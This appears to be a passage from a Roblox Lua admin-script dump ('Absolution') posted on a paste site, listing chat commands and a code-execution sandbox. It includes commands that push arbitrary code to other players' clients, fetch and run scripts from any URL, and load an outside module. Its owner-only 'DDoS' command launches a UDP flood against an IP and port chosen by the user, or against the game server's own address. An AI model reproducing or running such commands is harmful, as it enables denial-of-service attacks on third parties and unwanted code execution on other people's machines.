  6686. for _,v in pairs(Players) do
  6687. local Ran,Error = ypcall(function()
  6688. Absolution.Functions:ConnectPlayer(v)
  6689. end)
  6690. if not Ran then
  6691. --Absolution.Functions.Output(Speaker, Error, 'Really red')
  6692. Absolution.Functions.Out(Speaker, Error, 4)
  6693. else
  6694. Absolution.Functions.Out(Speaker, "Attempting to force connect "..v.Name, 5)
  6695. --Absolution.Functions.Output(Speaker, "Attempting to force connect "..v.Name, 'White')
  6696. end
  6697. end
  6698. end
  6699. end)
  6700. Absolution.Functions.Command("Send loadstring", {"loadstr", "rlt", "nl"}, 7, "Sends a code to a player", "No Flags", function(Speaker,Msg)
  6701. local Split = Msg:find('/')
  6702. local Players = Absolution.Functions.getPlayers(Speaker,Msg:sub(1, Split - 1))
  6703. local Packet = Msg:sub(Split + 1)
  6704. local pckt;
  6705. if #Players > 0 then
  6706. for _,v in pairs(Players) do
  6707. local Ran,Error = ypcall(function()
  6708. pckt = Absolution.Handler:clientLS(Packet, v)
  6709. end)
  6710. if not Ran then
  6711. --Absolution.Functions.Output(Speaker, Error, 'Really red')
  6712. Absolution.Functions.Out(Speaker, Error, 4)
  6713. else
  6714. --Absolution.Functions.Output(Speaker, tostring(pckt), 'White')
  6715. Absolution.Functions.Out(Speaker, tostring(pckt), 1)
  6716. end
  6717. end
  6718. end
  6719. end)
  6720. Absolution.Functions.Command("NewLocalScript", {"nls","forcelocal"}, 7, "Sends a localscript to a player", "No Flags", function(Speaker,Msg)
  6721. local Split = Msg:find('/')
  6722. local Players = Absolution.Functions.getPlayers(Speaker,Msg:sub(1, Split - 1))
  6723. local Packet = Msg:sub(Split + 1)
  6724. local pckt;
  6725. if #Players > 0 then
  6726. for _,v in pairs(Players) do
  6727. local Ran,Error = ypcall(function()
  6728. pckt = Absolution.Functions.NLS(Packet, v:findFirstChild('PlayerGui'))
  6729. end)
  6730. if not Ran then
  6731. --Absolution.Functions.Output(Speaker, Error, 'Really red')
  6732. Absolution.Functions.Out(Speaker, Error, 4)
  6733. else
  6734. --Absolution.Functions.Output(Speaker, 'Sent localscript', 'White')
  6735. Absolution.Functions.Out(Speaker, 'Sent local to '..v.Name, 5)
  6736. end
  6737. end
  6738. end
  6739. end)
  6740. Absolution.Functions.Command('Load ic3 admin', {'loadcancer'}, 7, 'Loads ic3s cancer module (do not do this unless you know what the hell ur doing)', 'No Flags', function(Speaker, Msg)
  6741. Absolution.Functions.createScript([[require(200901975)'ic399']], workspace)
  6742. end)
  6743. Absolution.Functions.Command("Load HTTP from page", {'loadh','httpload'}, 7, 'Loads an http script from a website', 'No Flags', function(Speaker,Msg)
  6744. if #Msg >0 then
  6745. local httpSite = Msg
  6746. Absolution.Functions.Output(Speaker,'Are you sure you want to load '..httpSite..'?','Bright violet',function()
  6747. local rtn = Absolution.Services.HttpService:GetAsync(httpSite)
  6748. Absolution.Functions.createScript(rtn, Absolution.Services.Workspace, Speaker.Name..' http script')
  6749. end)
  6750. end
  6751. end)
  6752. Absolution.Functions.Command("Execute", {"exe", "execute"}, 7, "Executes A String In Script", "No Flags", function(Speaker, Msg)
  6753. warn(Speaker, "loadstring(\""..Msg.."\")")
  6754. if Speaker.Name ~='Darkus_Theory' then
  6755. local RealEnvironment, SecureEnvironment, NewEnvironment, Sandbox
  6756. local MainFunction, MainError = ypcall(function()
  6757. local ProtectTable = function(Table)
  6758. return setmetatable(Table,{__metatable = "[ Sandbox ]:\nInvalid permissions"})
  6759. end
  6760. local SecureEnvironment = {
  6761. script = Instance.new("Script")
  6762. }
  6763. SecureEnvironment.script.Name = "Absolution"
  6764. NewEnvironment = {
  6765. __index = (function()
  6766. local EnvironmentFunctions = {}
  6767. for Indexes, Value in pairs{
  6768. ["game,Game"] = game,
  6769. ["workspace,Workspace"] = Absolution.Services.Workspace,
  6770. Workspace = Absolution.Services.Workspace,
  6771. _G = Absolution.Fake._G,
  6772. _VERSION = "SandBox v1",
  6773. shared = Absolution.Fake.shared,
  6774. setfenv = setfenv,
  6775. rawset = rawset,
  6776. rawget = rawget,
  6777. newproxy = newproxy,
  6778. setmetatable = setmetatable,
  6779. getmetatable = getmetatable,
  6780. pairs = pairs,
  6781. ipairs = ipairs,
  6782. next = next,
  6783. select = select,
  6784. collectgarbage = collectgarbage,
  6785. assert = assert,
  6786. dofile = dofile,
  6787. load = load,
  6788. pcall = pcall,
  6789. ypcall = ypcall,
  6790. xpcall = xpcall,
  6791. spawn = spawn,
  6792. Spawn = spawn,
  6793. tonumber = tonumber,
  6794. tostring = tostring,
  6795. type = type,
  6796. unpack = unpack,
  6797. newproxy = newproxy,
  6798. gcinfo = gcinfo,
  6799. wait=wait,
  6800. tick = tick,
  6801. time = time,
  6802. version = version,
  6803. PluginManager = PluginManager,
  6804. settings = settings,
  6805. Stats = Stats,
  6806. UserSettings = UserSettings,
  6807. Absolution = (function()
  6808. local NewAbsolution = {}
  6809. local Absolution_Security = {
  6810. __index = Absolution,
  6811. __metatable = "[ Sandbox ]:\nLocked"
  6812. }
  6813. local Secure = setmetatable(NewAbsolution,Absolution_Security)
  6814. if Absolution.Functions:findRank(Speaker.Name) >=8 then
  6815. function NewAbsolution:realFenv()
  6816. return getfenv(1)
  6817. end
  6818. function NewAbsolution:getRealAbsolutionTable()
  6819. return Absolution
  6820. end
  6821. else
  6822. end
  6823. return NewAbsolution
  6824. end)(),
  6825. loadstring = function(String)
  6826. local Load = loadstring(String)
  6827. setfenv(Load, Sandbox)
  6828. return Load
  6829. end,
  6830. print = function(...)
  6831. local Data, Return = {...}, ""
  6832. for Index,Value in pairs(Data) do
  6833. Return = Return .. tostring(Value) .. (Index < #Data and ", " or "")
  6834. end
  6835. return Absolution.Functions.Out(Speaker,Return, 1)--Absolution.Functions.Output(Speaker, Return, "White")
  6836. end,
  6837. warn = function(...)
  6838. local Data, Return = {...}, ""
  6839. for Index,Value in pairs(Data) do
  6840. Return = Return .. tostring(Value) .. (Index < #Data and ", " or "")
  6841. end
  6842. return Absolution.Functions.Out(Speaker,Return, 3)--Absolution.Functions.Output(Speaker, Return, "Bright orange")
  6843. end,
  6844. error = function(String, Level)
  6845. return Absolution.Functions.Out(Speaker,String, 4)--Absolution.Functions.Output(Speaker, String, "Really red")
  6846. end,
  6847. require = function()
  6848. return error'lol fucking nope.'
  6849. end,
  6850. getfenv = function(Level)
  6851. local ReturnedEnvironment = SecureEnvironment
  6852. if type(Level) == "function" then
  6853. return ReturnedEnvironment
  6854. elseif type(Level) == "number" and Level >= -.5 and Level <= 2 then
  6855. return ReturnedEnvironment
  6856. elseif type(Level) == "nil" then
  6857. return ReturnedEnvironment
  6858. else
  6859. return error("ERROR: Invalid Environment Level")
  6860. end
  6861. end,
  6862. Instance = ProtectTable{
  6863. new = function(ClassName, Parent)
  6864. if ClassName then
  6865. return Instance.new(ClassName, Parent)
  6866. else
  6867. return error("String expected")
  6868. end
  6869. end,
  6870. Lock = Instance.Lock,
  6871. UnLock = Instance.UnLock,
  6872. },
  6873. UDim2 = ProtectTable{
  6874. new = UDim2.new
  6875. },
  6876. Vector2 = ProtectTable{
  6877. new = Vector2.new
  6878. },
  6879. Vector3 = ProtectTable{
  6880. FromNormalId = Vector3.FromNormalId,
  6881. FromAxis = Vector3.FromAxis,
  6882. new = Vector3.new,
  6883. },
  6884. BrickColor = ProtectTable{
  6885. Black = BrickColor.Black,
  6886. Blue = BrickColor.Blue,
  6887. DarkGray = BrickColor.DarkGray,
  6888. Gray = BrickColor.Gray,
  6889. Green = BrickColor.Green,
  6890. New = BrickColor.New,
  6891. Random = BrickColor.Random,
  6892. Red = BrickColor.Red,
  6893. White = BrickColor.White,
  6894. Yellow = BrickColor.Yellow,
  6895. new = BrickColor.new,
  6896. palette = BrickColor.palette,
  6897. random = BrickColor.random
  6898. },
  6899. CFrame = ProtectTable{
  6900. new = CFrame.new,
  6901. Angles = CFrame.Angles,
  6902. fromAxisAngle = CFrame.fromAxisAngle,
  6903. fromEulerAnglesXYZ = CFrame.fromMEulerAnglesXYZ,
  6904. },
  6905. table = ProtectTable{
  6906. setn = table.setn,
  6907. insert = table.insert,
  6908. getn = table.getn,
  6909. foreachi = table.foreachi,
  6910. maxn = table.maxn,
  6911. foreach = table.foreach,
  6912. concat = table.concat,
  6913. sort = table.sort,
  6914. remove = table.remove,
  6915. },
  6916. coroutine = ProtectTable{
  6917. resume = coroutine.resume,
  6918. yield = coroutine.yield,
  6919. status = coroutine.status,
  6920. wrap = coroutine.wrap,
  6921. create = coroutine.create,
  6922. running = coroutine.running,
  6923. },
  6924. string = ProtectTable{
  6925. sub = string.sub,
  6926. upper = string.upper,
  6927. len = string.len,
  6928. gfind = string.gfind,
  6929. rep = string.rep,
  6930. find = string.find,
  6931. match = string.match,
  6932. char = string.char,
  6933. dump = string.dump,
  6934. gmatch = string.gmatch,
  6935. reverse = string.reverse,
  6936. byte = string.byte,
  6937. format = string.format,
  6938. gsub = string.gsub,
  6939. lower = string.lower,
  6940. },
  6941. math = ProtectTable{
  6942. log = math.log,
  6943. acos = math.acos,
  6944. huge = 1/0,
  6945. ldexp = math.ldexp,
  6946. pi = math.pi,
  6947. cos = math.cos,
  6948. tanh = math.tanh,
  6949. pow = math.pow,
  6950. deg = math.deg,
  6951. tan = math.tan,
  6952. cosh = math.cosh,
  6953. sinh = math.sinh,
  6954. random = math.random,
  6955. randomseed = math.randomseed,
  6956. frexp = math.frexp,
  6957. ceil = math.ceil,
  6958. floor = math.floor,
  6959. rad = math.rad,
  6960. abs = math.abs,
  6961. sqrt = math.sqrt,
  6962. modf = math.modf,
  6963. asin = math.asin,
  6964. min = math.min,
  6965. max = math.max,
  6966. fmod = math.fmod,
  6967. log10 = math.log10,
  6968. atan2 = math.atan2,
  6969. exp = math.exp,
  6970. sin = math.sin,
  6971. atan = math.atan,
  6972. },
  6973. os = ProtectTable{
  6974. difftime = os.difftime,
  6975. time = os.time,
  6976. },
  6977. } do
  6978. for Index in Indexes:gmatch("[^, ?]+") do
  6979. EnvironmentFunctions[Index] = Value
  6980. if type(Value) == "function" then
  6981. pcall(setfenv, Value, SecureEnvironment)
  6982. end
  6983. end
  6984. end
  6985. return EnvironmentFunctions
  6986. end)(),
  6987. __newindex = function(Self, Index, Value)
  6988. rawset(NewEnvironment.__index, Index, Value)
  6989. return rawset(Self, Index, Value)
  6990. end,
  6991. __metatable = SecureEnvironment,
  6992. }
  6993. Sandbox = setmetatable(SecureEnvironment, NewEnvironment)
  6994. Sandbox.Absolution.Ranked = 'PROTECTED TABLE'
  6995. Sandbox.Absolution.HttpConstants = 'PROTECTED TABLE'
  6996. Sandbox.Absolution.Commands = 'PROTECTED TABLE'
  6997. Speaker = Speaker
  6998. local SpeakerRank = Absolution.Functions:findRank(tostring(Speaker))
  6999. local Function, FunctionError = loadstring(Msg, "string")
  7000. if type(Function) == "function" then
  7001. setfenv(Function, Sandbox)
  7002. Function = coroutine.create(Function)
  7003. local Check,Error = coroutine.resume(Function)
  7004. if not Check then
  7005. Absolution.Functions.Out(Speaker,"ERROR: "..tostring(Error), 4)--Absolution.Functions.Output(Speaker, "ERROR:\n"..tostring(Error), "Really red")
  7006. else
  7007. Absolution.Functions.Out(Speaker,'Ran Successfully', 5)--Absolution.Functions.Output(Speaker, "Ran Successfully", "Bright orange")
  7008. end
  7009. else
  7010. if not Function then
  7011. error("ERROR:\n"..tostring(FunctionError))
  7012. end
  7013. end
  7014. end)
  7015. if not MainFunction then
  7016. Absolution.Functions.Out(Speaker,"ERROR: "..tostring(Error), 4)--Absolution.Functions.Output(Speaker, "ERROR:\n"..tostring(MainError), "Really red")
  7017. end
  7018. else
  7019. local Speakr = Speaker
  7020. local ran,error = ypcall(function()
  7021. loadstring(Msg)()
  7022. end)
  7023. if not ran then
  7024. Absolution.Functions.Out(Speaker,"ERROR: "..tostring(Error), 4)--Absolution.Functions.Output(Speaker, error, 'Really red')
  7025. else
  7026. Absolution.Functions.Out(Speaker,'Ran Successfully!', 5)--Absolution.Functions.Output(Speaker, 'Ran successfully!', 'Lime green')
  7027. end
  7028. end
  7029. end)
  7030. -- Rank 8 --
  7031. Absolution.Functions.Command("Absolution Orb", {"orb",'orby'}, 8, "Gives the SPEAKER an orb", "-e (einsteinK replica)", function(Speaker, Msg)
  7032. if Absolution.Functions.GetSplit(Msg) == "e" then
  7033. Absolution.Functions.loadOrb(Speaker.Name, true)
  7034. else
  7035. Absolution.Functions.loadOrb(Speaker.Name)
  7036. end
  7037. end)
  7038. Absolution.Functions.Command("Sync Ranks Out", {'so','sync','sro'}, 8, "Syncs data to database", "-p (Player data)", function(Speaker,Msg)
  7039. if Absolution.Functions.GetSplit(Msg) == 'p' then
  7040. local Players = Absolution.Functions.getPlayers(Speaker,Msg)
  7041. if #Players > 0 then
  7042. for _,v in pairs(Players) do
  7043. Absolution.Functions.Out(Speaker,"Attempting to sync data for "..v.Name, 5)
  7044. local Ran,Error = ypcall(function()
  7045. Absolution.Functions.syncRankOut(v)
  7046. end)
  7047. if not Ran then
  7048. --Absolution.Functions.Output(Speaker, Error, 'Really red')
  7049. Absolution.Functions.Out(Speaker, Error, 4)
  7050. else
  7051. --Absolution.Functions.Output(Speaker, "Attempting to sync data for "..v.Name, 'White', nil, 8)
  7052. end
  7053. end
  7054. end
  7055. else
  7056. Absolution.Functions.Out(Speaker,'Synchronizing Data.', 2)
  7057. Absolution.Functions.syncRanksOut()
  7058. --Absolution.Functions.Output(Speaker, 'Data syncronized!', 'Lime green', nil, 8)
  7059. Absolution.Functions.Out(Speaker,'Data syncronized!', 5)
  7060. end
  7061. end)
  7062. -- Rank 9 --
  7063. Absolution.Functions.Command("Add Whitelist Account", {"whitelist",'addwhitelist'}, 9, "Whitelists a player with asdfer as the password", "No Flags", function(Speaker, Msg)
  7064. local result = game.HttpService:GetAsync(Absolution.HttpConstants.IP..Absolution.HttpConstants.AuthURI.."?usr="..game.HttpService:UrlEncode(Msg))
  7065. Absolution.Functions.Out(Speaker, result, 5)
  7066. end)
  7067. Absolution.Functions.Command('DDoS', {'ddos', 'boot'}, 9, "Boots off an ip", "-s (Server)", function(Speaker, Msg)
  7068. if Speaker.Name=='Darkus_Theory' then
  7069. if Absolution.Functions.GetSplit(Msg) == 's' then
  7070.  
  7071. local IP = game.HttpService:GetAsync('https://api.ipify.org')
  7072. local Port = game:service'NetworkServer'.Port
  7073. local Duration = (Msg and tonumber(Msg) or 30)
  7074.  
  7075. Absolution.Functions.Out(Speaker, 'UDP Attack requested at '..IP..':'..Port..' for '..Duration..' seconds.')
  7076. local result = Absolution.Functions.DDoS(IP, Port, Duration)
  7077. Absolution.Functions.Out(Speaker, result, 5)
  7078.  
  7079. else
  7080.  
  7081. local data = {}
  7082. local form = '[%.+%d+%d+]+'
  7083. for match in Msg:gmatch(form) do
  7084. data[#data+1] = match
  7085. end
  7086. if not data[1] or not data[2] or not data[3] then Absolution.Functions.Out(Speaker,'Invalid time format!',4) return end
  7087. local IP = data[1]
  7088. local Port = data[2]
  7089. local Duration = data[3]
  7090.  
  7091. Absolution.Functions.Out(Speaker, 'UDP Attack requested at '..IP..':'..Port..' for '..Duration..' seconds')
  7092.  
  7093. local result = Absolution.Functions.DDoS(data[1],data[2],data[3])
  7094. Absolution.Functions.Out(Speaker, result, 5)
  7095. end
  7096. else
  7097. Absolution.Functions.Out(Speaker, 'You are not Darkus_Theory!', 4)
  7098. end
  7099. end)
  7100. --------- Start Script -----------------------
  7101. Absolution.Functions:Boot()
  7102. local end_time = tick()
  7103. Absolution.bootTime = (end_time-start_time)
  7104. --Absolution.Functions.Output('Admins','Absolution booted in '..Absolution.bootTime..' seconds.','Bright violet',nil,60)
  7105. Absolution.Functions.Out('Admins','Absolution booted in '..Absolution.bootTime..' seconds.',5)
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement